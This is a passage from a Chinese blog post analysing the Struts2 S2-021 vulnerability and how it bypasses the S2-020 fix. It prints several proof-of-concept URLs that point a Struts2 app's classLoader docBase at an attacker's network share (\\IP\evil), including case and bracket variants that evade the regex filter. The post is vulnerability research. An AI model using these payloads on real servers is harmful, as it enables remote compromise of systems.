struts2漏洞S2-021

本文深入探讨了Struts2漏洞S2-021,通过分析Tomcat处理HTTP请求的过程和Struts2框架的源码,揭示了漏洞的触发原理和修复不当之处。作者分享了检测漏洞的方法,包括利用HTTP参数和错误信息,同时也提及了后续的S2-022漏洞。
摘要由CSDN通过智能技术生成

前段时间这个漏洞吵得比较火,最近研究了一下tomcat底层代码,结合struts2的框架源码跟踪了一下这个漏洞的触发过程。在整个debug过程中,感触颇多,遂留下此文以作三思笔记,不敢奢望太多,只希望对感兴趣的童鞋有所帮助,大牛飘过。如果文中哪里有不准确之处,还望各位积极拍砖指正。

0x00 老漏洞新玩法


关于利用,不得不先说一下S2-020这个漏洞,其实之前网上已经有相关文档讲述S2-020的利用方法,比如下边这两篇

http://drops.wooyun.org/papers/1377

http://sec.baidu.com/index.php?research/detail/id/18

首先要感谢作者提供利用方法。个人还是更偏向利用docBase属性,因为这个属性tomcat每个版本都有。PoC如下,

http://localhost:8080/S2_3_16_1/hello.action?class.classLoader.resources.dirContext.docBase=\\IP\evil

这是S2-020的利用,我们再回到S2-021,首先看一下官方是怎么修复的,找到struts2-core-2.3.16.1.jar中的struts-default.xml,可以看到官方修复就是将用户请求用正则过滤了一下,而且正则写的也很简陋,包括github上给出的那个修复方法,都没有过滤掉真正的利用,如图所示:

所以将S2-020的poc稍微变一下型绕过正则过滤,便是S2-021了,并且struts2默认正则大小写是敏感的。利用就很简单了,下面这几种方法都可以

http://localhost:8080/S2_3_16_1/hello.action?class[‘classLoader’].resources.dirContext.docBase=\\IP\evil

http://localhost:8080/S2_3_16_1/hello.action?Class.ClassLoader.resources.dirContext.docBase=\\IP\evil


http://localhost:8080/S2_3_16_1/hello.action?top.Class.ClassLoader..resources.dirContext.docBase=\\IP\evil

….

这里我就以Class['ClassLoader'].resources.dirContext.docBase =aa为例跟踪请求从tomcat容器到struts2框架的代码处理流程,先说一下调试环境,这里我debug的是tomcat 6.0.24的源码+struts2.3.16.1的源码。

0x01 Tomcat处理HTTP请求


首先肯定是先由tomcat来处理请求,跟踪tomcat源码,这里tomcat调用JIoEndpoint.java的run()创建socket

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值